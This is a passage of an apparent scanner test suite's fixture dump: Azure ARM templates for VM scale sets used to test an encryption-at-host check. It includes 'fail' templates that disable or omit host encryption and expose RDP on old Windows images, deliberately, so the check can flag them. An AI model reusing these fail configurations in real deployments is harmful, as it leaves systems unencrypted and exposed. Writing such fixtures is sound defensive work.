    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"networkApiVersion\": \"2020-11-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"passed\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"canonical\",\n                            \"offer\": \"0001-com-ubuntu-server-focal\",\n                            \"sku\": \"20_04-lts-gen2\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"networkApiVersion\": \"[variables('networkApiVersion')]\",\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.LinuxAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": true,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"linuxConfiguration\": {\n                            \"disablePasswordAuthentication\": true\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Flexible\",\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMEncryptionAtHostEnabled/scaleset-fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS3_V2\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"windowsOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"2012-R2-Datacenter\",\n      \"allowedValues\": [\n        \"2008-R2-SP1\",\n        \"2012-Datacenter\",\n        \"2012-R2-Datacenter\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Windows version for the VM. This will pick a fully patched image of this given Windows version. Allowed values: 2008-R2-SP1, 2012-Datacenter, 2012-R2-Datacenter.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"maxLength\": 9\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"maxValue\": 100\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"adminUserIsTest\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Admin password on all VMs.\"\n      }\n    }\n    ,\n    \"diskEncryptionSetId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"region\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"CentralUSEUAP\"\n    }\n  },\n  \"variables\": {\n    \"namingInfix\": \"[toLower(parameters('vmssName'))]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnetPrefix\": \"10.0.0.0/24\",\n    \"virtualNetworkName\": \"[concat(variables('namingInfix'), 'vnet')]\",\n    \"publicIPAddressName\": \"[concat(variables('namingInfix'), 'pip')]\",\n    \"subnetName\": \"[concat(variables('namingInfix'), 'subnet')]\",\n    \"loadBalancerName\": \"[concat(variables('namingInfix'), 'lb')]\",\n    \"publicIPAddressID\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\",\n    \"lbID\": \"[resourceId('Microsoft.Network/loadBalancers',variables('loadBalancerName'))]\",\n    \"natPoolName\": \"[concat(variables('namingInfix'), 'natpool')]\",\n    \"bePoolName\": \"[concat(variables('namingInfix'), 'bepool')]\",\n    \"natStartPort\": 50000,\n    \"natEndPort\": 50119,\n    \"natBackendPort\": 3389,\n    \"nicName\": \"[concat(variables('namingInfix'), 'nic')]\",\n    \"ipConfigName\": \"[concat(variables('namingInfix'), 'ipconfig')]\",\n    \"frontEndIPConfigID\": \"[concat(variables('lbID'),'/frontendIPConfigurations/loadBalancerFrontEnd')]\",\n    \"osType\": {\n      \"publisher\": \"MicrosoftWindowsServer\",\n      \"offer\": \"WindowsServer\",\n      \"sku\": \"[parameters('windowsOSVersion')]\",\n      \"version\": \"latest\"\n    },\n    \"imageReference\": \"[variables('osType')]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[variables('namingInfix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2020-03-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"LoadBalancerFrontEnd\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID')]\"\n              }\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"[variables('bePoolName')]\"\n          }\n        ],\n        \"inboundNatPools\": [\n          {\n            \"name\": \"[variables('natPoolName')]\",\n            \"properties\": {\n              \"frontendIPConfiguration\": {\n                \"id\": \"[variables('frontEndIPConfigID')]\"\n              },\n              \"protocol\": \"Tcp\",\n              \"frontendPortRangeStart\": \"[variables('natStartPort')]\",\n              \"frontendPortRangeEnd\": \"[variables('natEndPort')]\",\n              \"backendPort\": \"[variables('natBackendPort')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2020-06-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/loadBalancers/', variables('loadBalancerName'))]\",\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSize')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": \"true\",\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\",\n              \"managedDisk\": {\n                                \"diskEncryptionSet\": {\n                                    \"id\": \"[parameters('diskEncryptionSetId')]\"\n                                },\n                                \"storageAccountType\": \"Premium_LRS\"\n                            }\n            },\n            \"dataDisks\": [\n                {\n                    \"lun\": 0,\n                    \"createOption\": \"Empty\",\n                    \"caching\": \"None\",\n                    \"managedDisk\": {\n                        \"diskEncryptionSet\": {\n                            \"id\": \"[parameters('diskEncryptionSetId')]\"\n                        },\n                        \"storageAccountType\": \"Premium_LRS\"\n                    },\n                    \"diskSizeGB\": 64\n                }\n            ],\n            \"imageReference\": \"[variables('imageReference')]\"\n          },\n          \"securityProfile\":{\n            \"encryptionAtHost\": \"false\"\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[variables('namingInfix')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPassword')]\"\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"[variables('nicName')]\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"[variables('ipConfigName')]\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]\"\n                        },\n                        \"loadBalancerBackendAddressPools\": [\n                          {\n                            \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/loadBalancers/', variables('loadBalancerName'), '/backendAddressPools/', variables('bePoolName'))]\"\n                          }\n                        ],\n                        \"loadBalancerInboundNatPools\": [\n                          {\n                            \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/loadBalancers/', variables('loadBalancerName'), '/inboundNatPools/', variables('natPoolName'))]\"\n                          }\n                        ]\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMEncryptionAtHostEnabled/scaleset-fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS3_V2\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"windowsOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"2012-R2-Datacenter\",\n      \"allowedValues\": [\n        \"2008-R2-SP1\",\n        \"2012-Datacenter\",\n        \"2012-R2-Datacenter\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Windows version for the VM. This will pick a fully patched image of this given Windows version. Allowed values: 2008-R2-SP1, 2012-Datacenter, 2012-R2-Datacenter.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"maxLength\": 9\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"maxValue\": 100\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"adminUserIsTest\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Admin password on all VMs.\"\n      }\n    }\n    ,\n    \"diskEncryptionSetId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"region\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"CentralUSEUAP\"\n    }\n  },\n  \"variables\": {\n    \"namingInfix\": \"[toLower(parameters('vmssName'))]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnetPrefix\": \"10.0.0.0/24\",\n    \"virtualNetworkName\": \"[concat(variables('namingInfix'), 'vnet')]\",\n    \"publicIPAddressName\": \"[concat(variables('namingInfix'), 'pip')]\",\n    \"subnetName\": \"[concat(variables('namingInfix'), 'subnet')]\",\n    \"loadBalancerName\": \"[concat(variables('namingInfix'), 'lb')]\",\n    \"publicIPAddressID\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\",\n    \"lbID\": \"[resourceId('Microsoft.Network/loadBalancers',variables('loadBalancerName'))]\",\n    \"natPoolName\": \"[concat(variables('namingInfix'), 'natpool')]\",\n    \"bePoolName\": \"[concat(variables('namingInfix'), 'bepool')]\",\n    \"natStartPort\": 50000,\n    \"natEndPort\": 50119,\n    \"natBackendPort\": 3389,\n    \"nicName\": \"[concat(variables('namingInfix'), 'nic')]\",\n    \"ipConfigName\": \"[concat(variables('namingInfix'), 'ipconfig')]\",\n    \"frontEndIPConfigID\": \"[concat(variables('lbID'),'/frontendIPConfigurations/loadBalancerFrontEnd')]\",\n    \"osType\": {\n      \"publisher\": \"MicrosoftWindowsServer\",\n      \"offer\": \"WindowsServer\",\n      \"sku\": \"[parameters('windowsOSVersion')]\",\n      \"version\": \"latest\"\n    },\n    \"imageReference\": \"[variables('osType')]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[variables('namingInfix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2020-03-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"LoadBalancerFrontEnd\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID')]\"\n              }\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"[variables('bePoolName')]\"\n          }\n        ],\n        \"inboundNatPools\": [\n          {\n            \"name\": \"[variables('natPoolName')]\",\n            \"properties\": {\n              \"frontendIPConfiguration\": {\n                \"id\": \"[variables('frontEndIPConfigID')]\"\n              },\n              \"protocol\": \"Tcp\",\n              \"frontendPortRangeStart\": \"[variables('natStartPort')]\",\n              \"frontendPortRangeEnd\": \"[variables('natEndPort')]\",\n              \"backendPort\": \"[variables('natBackendPort')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"fail2\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2020-06-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/loadBalancers/', variables('loadBalancerName'))]\",\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSize')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": \"true\",\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\",\n              \"managedDisk\": {\n                                \"diskEncryptionSet\": {\n                                    \"id\": \"[parameters('diskEncryptionSetId')]\"\n                                },\n                                \"storageAccountType\": \"Premium_LRS\"\n                            }\n            },\n            \"dataDisks\": [\n                {\n                    \"lun\": 0,\n                    \"createOption\": \"Empty\",\n                    \"caching\": \"None\",\n                    \"managedDisk\": {\n                        \"diskEncryptionSet\": {\n                            \"id\": \"[parameters('diskEncryptionSetId')]\"\n                        },\n                        \"storageAccountType\": \"Premium_LRS\"\n                    },\n                    \"diskSizeGB\": 64\n                }\n            ],\n            \"imageReference\": \"[variables('imageReference')]\"\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[variables('namingInfix')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPassword')]\"\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"[variables('nicName')]\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"[variables('ipConfigName')]\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]\"\n                        },\n                        \"loadBalancerBackendAddressPools\": [\n                          {\n                            \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/loadBalancers/', variables('loadBalancerName'), '/backendAddressPools/', variables('bePoolName'))]\"\n                          }\n                        ],\n                        \"loadBalancerInboundNatPools\": [\n                          {\n                            \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/loadBalancers/', variables('loadBalancerName'), '/inboundNatPools/', variables('natPoolName'))]\"\n                          }\n                        ]\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMEncryptionAtHostEnabled/scaleset-pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS3_V2\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"windowsOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"2012-R2-Datacenter\",\n      \"allowedValues\": [\n        \"2008-R2-SP1\",\n        \"2012-Datacenter\",\n        \"2012-R2-Datacenter\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Windows version for the VM. This will pick a fully patched image of this given Windows version. Allowed values: 2008-R2-SP1, 2012-Datacenter, 2012-R2-Datacenter.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"maxLength\": 9\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"maxValue\": 100\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"adminUserIsTest\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Admin password on all VMs.\"\n      }\n    }\n    ,\n    \"diskEncryptionSetId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"region\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"CentralUSEUAP\"\n    }\n  },\n  \"variables\": {\n    \"namingInfix\": \"[toLower(parameters('vmssName'))]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnetPrefix\": \"10.0.0.0/24\",\n    \"virtualNetworkName\": \"[concat(variables('namingInfix'), 'vnet')]\",\n    \"publicIPAddressName\": \"[concat(variables('namingInfix'), 'pip')]\",\n    \"subnetName\": \"[concat(variables('namingInfix'), 'subnet')]\",\n    \"loadBalancerName\": \"[concat(variables('namingInfix'), 'lb')]\",\n    \"publicIPAddressID\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\",\n    \"lbID\": \"[resourceId('Microsoft.Network/loadBalancers',variables('loadBalancerName'))]\",\n    \"natPoolName\": \"[concat(variables('namingInfix'), 'natpool')]\",\n    \"bePoolName\": \"[concat(variables('namingInfix'), 'bepool')]\",\n    \"natStartPort\": 50000,\n    \"natEndPort\": 50119,\n    \"natBackendPort\": 3389,\n    \"nicName\": \"[concat(variables('namingInfix'), 'nic')]\",\n    \"ipConfigName\": \"[concat(variables('namingInfix'), 'ipconfig')]\",\n    \"frontEndIPConfigID\": \"[concat(variables('lbID'),'/frontendIPConfigurations/loadBalancerFrontEnd')]\",\n    \"osType\": {\n      \"publisher\": \"MicrosoftWindowsServer\",\n      \"offer\": \"WindowsServer\",\n      \"sku\": \"[parameters('windowsOSVersion')]\",\n      \"version\": \"latest\"\n    },\n    \"imageReference\": \"[variables('osType')]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetPrefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[variables('namingInfix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2020-03-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\"\n      ],\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"LoadBalancerFrontEnd\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID')]\"\n              }\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"[variables('bePoolName')]\"\n          }\n        ],\n        \"inboundNatPools\": [\n          {\n            \"name\": \"[variables('natPoolName')]\",\n            \"properties\": {\n              \"frontendIPConfiguration\": {\n                \"id\": \"[variables('frontEndIPConfigID')]\"\n              },\n              \"protocol\": \"Tcp\",\n              \"frontendPortRangeStart\": \"[variables('natStartPort')]\",\n              \"frontendPortRangeEnd\": \"[variables('natEndPort')]\",\n              \"backendPort\": \"[variables('natBackendPort')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('region')]\",\n      \"apiVersion\": \"2020-06-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/loadBalancers/', variables('loadBalancerName'))]\",\n        